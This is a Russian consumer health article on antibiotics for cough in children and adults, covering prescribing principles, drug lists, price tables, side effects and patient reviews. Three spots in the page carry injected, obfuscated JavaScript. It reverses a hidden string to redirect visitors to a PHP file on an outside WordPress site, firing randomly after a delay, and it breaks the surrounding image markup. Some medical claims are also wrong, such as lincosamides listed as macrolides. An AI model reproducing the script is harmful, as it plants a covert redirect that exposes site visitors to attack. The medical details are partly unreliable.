Антибиотики от кашля у детей и взрослых: обзор эффективных препаратов

Перед назначением антибиотиков от кашля у детей и взрослых, нужно поставить точный диагноз пациенту. Произвольное применение препарата может привести к присоединению вторичной инфекции и прочим неприятным последствиям.

Что такое антибиотики

Антибиотики — это лекарственные средства, производимые в результате жизнедеятельности некоторых микробов (в основном микроскопических грибов), преобразования структуры полученных антибактериальных веществ или получаемые полностью в искусственных условиях. Эти химические соединения воздействуют на микроорганизмы:

• бактериостатически (нарушая их структуру, замедляя рост и размножение),
• бактерицидно (приводят к гибели клетки).

Антибиотики должны назначаться только при бактериальных заболеваниях с учётом чувствительности микроорганизма к лекарству. Выбор средства должен осуществляться согласованно с лечащим врачом.

Приём антибиотиков при кашле

Кашель — рефлекторная реакция, возникающая при раздражении слизистой оболочки дыхательных путей некоторыми веществами или инородными телами. Это не самостоятельная патология, а проявление всевозможных заболеваний органов дыхания, вызванных инфекционными агентами — вирусами, бактериями, грибами — или аллергическим процессом. Но антибиотики показаны исключительно при бактериальной природе поражения.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/10/post_5bb055301f36c-728×432.jpg» alt=»Мужчина кашляет» width=»728″ height=»432″ /> Кашель может стать причиной для приёма антибиотиков

Правила приёма антибиотиков

Перед началом приёма нужно помнить принципы рациональной антибактериальной терапии:

1. Терапевтические возможности препарата должны соответствовать свойствам патогена, вызвавшего инфекцию.
2. Назначение антибиотика обязательно при выявлении в качестве возбудителя β-гемолитического стрептококка группы A, так как этот микроб может привести к возникновению опасных осложнений.
3. Нецелесообразно применять медикамент при заболеваниях:
   • вирусных,
   • острых кишечных инфекциях с нетипичными симптомами и без обнаружения возбудителя,
   • вызванных микробами, бактериальная природа которых не подтверждена.
4. Антибиотик назначают в терапевтической дозировке. Её повышение или понижение зависит от степени тяжести поражения.
5. Приём антибиотиков для профилактики бактериальной инфекции стоит ограничивать, так как бесконтрольное употребление антибактериальных средств чревато развитием лекарственной устойчивости.
6. Заболевания лёгкой и средней степеней тяжести требуют приёма основных антибиотиков, а тяжёлой — резервных.
7. Комбинированная антибиотикотерапия целесообразна, если:
   • назначаются средства, сходные по характеру действия (бактерицидному/бактериостатическому), но отличающиеся по механизму,
   • применяется не более двух препаратов, в противном случае количество нежелательных реакций превысит лечебный эффект (исключение — туберкулёз, при котором показана терапия из 3 и более антибиотиков).
8. Продолжительность антибактериального лечения должна соответствовать типу действия медикамента и характеру инфекции:
   • при отсутствии терапевтического эффекта антибиотик с бактерицидным действием меняют через 3 дня, с бактериостатическим — через 5 дней,
   • если патология протекает циклами, а терапия эффективна, то прекращение приёма допустимо уже на 2–3-и сутки,
   • при упорном течении инфекции завершение лечения осуществляют не раньше чем на пятый день исчезновения лихорадки и при наличии признаков ликвидации очагов поражения.
9. При успешной терапии антибиотиками в виде уколов через 2–3 дня можно перейти на аналогичный препарат для приёма внутрь.
10. Если инфекция протекает тяжело, то возможно назначение бактерицидного антибактериального средства широкого спектра действия или резервного ещё до определения чувствительности микроорганизма. После обнаружения возбудителя и уточнения его антибиотикочувствительности можно перейти на медикамент с меньшей активностью, в том числе с бактериостатическим типом действия.
11. В сомнительных случаях от применения антибактериального препарата лучше воздержаться.

Если антибиотик не показан, он противопоказан.

Антибиотики при кашле у детей

При появлении кашля у детей до 5 лет предпочтительно использовать антибактериальные средства в жидкой форме: сиропы, суспензии (болтушки), порошки для приготовления растворов, таблетки для растворения в воде. Часто в детские препараты добавляют подсластители и ароматизаторы, чтобы придать сладкий вкус и приятный запах, ведь «невкусное» лекарство может стать причиной отказа от его приёма.

Деткам, умеющим глотать таблетки и капсулы, можно назначать препараты в твёрдых лекарственных формах при отсутствии противопоказаний.

Некоторые мамы измельчают таблетки, мешают их с водой и щепоткой сахара и дают ребёнку. Такой способ применения противопоказан, так как при дроблении нарушается структура химического соединения. Многие врачи выступают против привычного деления таблетки пополам.

Если необходимо, врач назначает антибактериальные средства в уколах (инъекциях).

При кашле у детей специалисты обычно выписывают антибиотики, принадлежащие к следующим группам:

• пенициллинам:
  • Амоксициллин (Флемоксин Солютаб),
  • Аугментин (Амоксиклав, Экоклав),
  • Ампициллин,
• макролидам:
  • Кларитромицин,
  • Азитромицин (Сумамед, Азитрокс),
  • Эритромицин,
  • Рокситромицин (Рулид),
  • Мидекамицин (Макропен),
  • Линкомицин,
  • Клиндамицин,
• цефалоспоринам:
  • Цефуроксим,
  • Цефотаксим,
  • Цефалексин,
  • Цефиксим (Супракс).

Сравнительная характеристика некоторых антибиотиков, применяемых у детей при кашле — таблица

Название препарата	Характеристика	С какого возраста применяется	Цена (в рублях)
Амоксициллин	Механизм действия основан на нарушении выработки белкового компонента оболочки микробной клетки.	гранулы для приготовления суспензии — с рождения, капсулы — с 5 лет	49–178
Флемоксин Солютаб	Оригинальный препарат с амоксициллином в качестве действующего вещества.	С периода новорождённости	217–446
Аугментин	Комбинированный препарат, состоящий из амоксициллина и клавулановой кислоты. Последняя препятствует активации ферментов бактериальной клетки, способствующих высокой устойчивости микроорганизмов. Кроме того, антиферментная активность клавулановой кислоты защищает амоксициллин от разрушения.	порошок для приготовления суспензии — с рождения, таблетки — с 12 лет	148–359
Рулид	Замедляет рост и размножения клетки путём воздействия на генетический материал.	таблетки для приготовления суспензии — с 2 месяцев, таблетки, покрытые оболочкой, — с 4 лет	1055–1630
Азитрокс	Механизм действия аналогичен Рулиду. В низких концентрациях замедляет жизнедеятельность микробных клеток, в высоких — вызывает их гибель.	капсулы — с 12 лет, порошок для приготовления суспензии для приёма внутрь — с 6 месяцев	169–324
Цефотаксим	Блокирует выработку важного компонента клеточной стенки.	Порошок для приготовления внутривенных инъекций — с рождения (с осторожностью в первые 28 дней жизни), внутримышечных — с 2,5 лет.	23–751
Супракс	Угнетает синтез мембраны клетки.	капсулы — с 12 лет, гранулы для приготовления суспензии — с 6 месяцев	555–827

Важно! У антибактериальных препаратов есть противопоказания и побочные явления, поэтому ни в коем случае не занимайтесь самолечением.

Антибиотики при кашле, применяемые у детей — фотогалерея

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»38295,38294,38293,38292,38301,38302,38291,38290″]

Антибиотики при кашле у взрослых

Антибиотики от кашля у взрослых аналогичны таковым у детей, пополняют список следующие группы:

• тетрациклины:
  • Доксициклин (Юнидокс Солютаб),
• фторхинолоны:
  • Ципрофлоксацин (Ципролет),
  • Офлоксацин,
  • Левофлоксацин (Таваник),
• аминогликозиды:
  • Канамицин,
  • Амикацин.

Назначение конкретного антибиотика зависит не от выраженности кашля, а от заболевания, которое сопровождается этим симптомом. Тяжёлая пневмония (воспаление лёгких) может проявляться несильным покашливанием, однако лечение должно состоять из двух мощных антибактериальных препаратов в формах для уколов. Для бронхита (воспалительного заболевания бронхов) обычно характерен мучительный и продолжительный кашель, но при этом назначение одного антибиотика для приёма внутрь может принести хороший результат.

При сильном кашле

Часто при сильном кашле рекомендуют оригинальные препараты: они дороже лекарств с непатентованным названием, но лучше очищены от побочных примесей, поэтому более эффективны и оказывают меньше нежелательных реакций.

Оригинальные антибактериальные средства, применяемые при кашле — таблица

Название антибиотика	Характеристика	Форма выпуска	Цена (в рублях)
Амоксиклав	Амоксиклав — антибиотик из группы пенициллинов. Губительно действует на широкий спектр микроорганизмов. Активно применяется при инфекционных заболеваниях дыхательных путей.	таблетки, покрытые плёночной оболочкой; порошок для приготовления суспензии для приёма внутрь, растворимые таблетки.	112–780
Сумамед	Мощный препарат из группы макролидов на основе азитромицина.	капсулы, таблетки, покрытые оболочкой; порошок для приготовления суспензии для приёма внутрь.	183–539
Юнидокс Солютаб	Антибиотик из группы тетрациклинов. Замедляет рост и размножение патогенных микроорганизмов. Противопоказан во время беременности и в период грудного вскармливания.	Растворимые таблетки	299–321
Таваник	Антибактериальное средство на основе левофлоксацина. Вызывает «поломку» генетического материала бактериальной клетки.	Таблетки, покрытые плёночной оболочкой	408–1012

Оригинальные антибиотики от кашля — фотогалерея

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»38300,38299,38298,38297″]

При сухом и влажном кашле

Кашель может сопровождаться выделением мокроты (влажный) и не сопровождаться (сухой). Выбор антибиотика не зависит от характера покашливания. Если мокроты нет или она трудно отходит, дополнительно назначают отхаркивающие средства (Бромгексин, Амброксол, Амбробене, АЦЦ).

Что делать, когда кашель «обдирает» горло — видео

Противопоказания к применению и побочные эффекты

Противопоказания к применению антибиотиков — это условия, при которых эти препараты не следует использовать, так как они могут оказаться опасными.

Противопоказания и побочные эффекты от применения антибактериальных средств — таблица

Группа антибиотиков	Противопоказания	Побочные эффекты
Пенициллины	аллергия на пенициллины, инфекционный мононуклеоз (острое вирусное заболевание, характеризующееся повышением температуры тела, поражением ротоглотки, увеличением лимфатических узлов, печени и селезёнки и своеобразными изменениями состава крови).	аллергические реакции: появление волдырей и других высыпаний, отёки, повышение температуры, увеличение в крови эозинофилов (разновидность лейкоцитов — белых клеток крови), спазм бронхов, резкое падение артериального давления, со стороны нервной системы: головная боль, быстрые ритмические движения конечностей, вызванные мышечными сокращениями; судороги, со стороны пищеварительного тракта: болезненность в животе, тошнота, рвота, жидкий стул, воспаление кишечника, вызванное микробом Clostridium difficile; со стороны крови: снижение числа эритроцитов (красных кровяных клеток) и/или нейтрофилов (подвид лейкоцитов), нарушение свёртывания крови, дефицит тромбоцитов (элементы, способствующие образованию кровяного сгустка).
Цефалоспорины	индивидуальная непереносимость, ранний срок беременности, нарушение функции почек.	непереносимость алкоголя, аллергические проявления и нарушения пищеварения, сходные с побочными эффектами пенициллинов, разрушение эритроцитов, снижение числа лейкоцитов, уменьшение протромбина (одного из главных компонентов свёртывающей системы крови), повышение аминотрансфераз (ферментов печени).
Макролиды	гиперчувствительность к основным и вспомогательным компонентам препаратов, беременность (для Кларитромицина, Рокситромицина), грудное вскармливание (для Спирамицина, Мидекамицина), тяжёлая почечная недостаточность. С осторожностью применять при тяжёлых поражениях печени.	Обычно макролиды переносятся хорошо. Редко возникают аллергические реакции. Эритромицин вызывает неприятные ощущения в животе, тошноту и рвоту примерно у трети пациентов, может нарушать сердечный ритм, обладает умеренной токсичностью для печени.
Фторхинолоны	аллергическая реакция на препараты этой группы, недостаток фермента глюкозо-6-фосфатдегидрогеназы. Фторхинолоны могут нарушать рост хрящевой ткани, поэтому противопоказаны при беременности, во время кормления грудью и у детей и подростков до 18 лет.	замедление развития хрящевой ткани, нарушение ритма сердца, повышенная чувствительность к солнечным лучам, судорожный и/или галлюцинаторный синдромы, воспаление сухожилий.
Тетрациклины	беременность, грудное вскармливание, тяжёлая печёночная недостаточность. Из-за возможности образования нерастворимых комплексов с кальцием и отложения их в костях или эмали зубов тетрациклины противопоказаны детям младше 8 лет.	аллергические реакции, замедление обменных процессов, повышение концентрации мочевины в крови, пищеварительные расстройства, эрозии слизистой оболочки пищевода, грибковые поражения желудочно-кишечного тракта и влагалища, изменение цвета зубов, повышенная чувствительность к ультрафиолетовому излучению, повышение давления в полости черепа, поражение ткани печени.
Аминогликозиды	воспаление слухового нерва, тяжёлые заболевания почек, беременность.	ухудшение или потеря слуха, нарушение равновесия, угнетение дыхания, токсическое действие на почки.

При внутримышечном введении антибиотика может появиться уплотнение на месте укола, при внутривенных инъекциях — воспаление венозной стенки.

Отзывы пациентов

Этот антибиотик вылечил всю вашу семью, включая месячную малышку, от бронхита. Когда младшей исполнился месяц, я начала кашлять, следом за мной начал кашлять муж. У маленькой появились зелёные сопельки, которые без каких-либо симптомов быстро перешли в бронхит. У старшей тоже никаких симптомов не было, но в один прекрасный день её высадили из сада после планового осмотра врачами и сказали, что у неё бронхит. При этом у ребёнка не было ни кашля, ни температуры, ни соплей. Вызывали домой врача, который определил бронхит и у неё и назначил антибиотик Сумамед. Взрослым — пять дней по одной капсуле, а детям принимать суспензию раз в день. Лекарство для детей имеет приятный сладкий вкус — дети пьют с удовольствием. Параллельно с антибиотиком, конечно, мы принимали бактерии для кишечника. Конечно, антибиотик дорогой. Для взрослого пришлось покупать две упаковки по три таблетки; упаковка стоит 500 руб. Для детей (для самых маленьких новорождённых) суспензия самой маленькой дозировки стоит около 200 руб. У взрослых и старшей дочки побочных явлений не наблюдалось, а у маленькой, конечно же, было расстройство кишечника — понос при каждом чихе, кашле, плаче. Нам помог Аципол. Сумамед быстро помог избавиться от бронхита, остаточный кашель был неделю.

Мне назначали при бронхите Азитромицин, а от кашля — Лазолван. За неделю вылечился, температура в первые же дни нормализовалась, а к концу недели и кашель прошёл.

Таваник — это сильнейший антибиотик, которым лечат как бронхит, так и пневмонию. Один раз я сильно простыла и мучилась приступами сильного кашля, в том числе по ночам. Народные средства и травы мне в этом случае совершенно не помогали. Да к тому же у меня под утро поднялась высокая температура. И в итоге мне пришлось идти на приём к врачу. Терапевт осмотрела меня и назначила мне рентген. Снимок рентгена показал, что у меня обширный бронхит, поэтому мне назначили лечение в виде сильнейшего антибиотика Таваника. Я же вначале решила сэкономить и купить его недорогой русский аналог и в итоге я потеряла на заменитель лекарства около трёх дней. В общем, скупой платит дважды. Русское лекарство мне совершенно не помогло, и я тогда купила настоящий Таваник. А стоил он очень и очень дорого, антибиотик прямо на вес золота. Вот Таваник мне сразу начал помогать, но у него очень сильные побочные действия на нервную систему. Спать я по ночам из-за этого лекарства совершенно не могла, и ко всему прочему, у меня на нем начала сильно ехать крыша и наступило состояние паники, которое от дальнейшего приёма препарата только усугублялось. В общем, сильный кашель вроде бы и прошёл на таком лечении, но меня чуть не поместили в психушку, настолько сильная у него побочка. У меня на таком лечении появилась навязчивая идея, что я задыхаюсь. В итоге мне пришлось сдать кучу анализов на бронхиальную астму, сходить на приём к пульмонологу. Слава богу, что ничего у меня серьёзного не нашли, а когда отменили антибиотик, то всю панику сразу же сняло как рукой. Остаточный кашель я уже долечивала подручными народными средствами. К тому же после лечения столь сильным антибиотиком мне пришлось пройти курс реабилитации микрофлоры кишечника пробиотическим препаратом Биовестин Лакто. Как оказалось потом, остаточный кашель поддерживался грибками, поэтому мне также пришлось пролечиться от грибка лекарственным препаратом Флуконазол.

Стоит запомнить, что антибактериальное лечение необходимо согласовывать с лечащим врачом. Правильно подобранное лекарство поможет избавиться от инфекции и устранить неприятный симптом за короткий срок.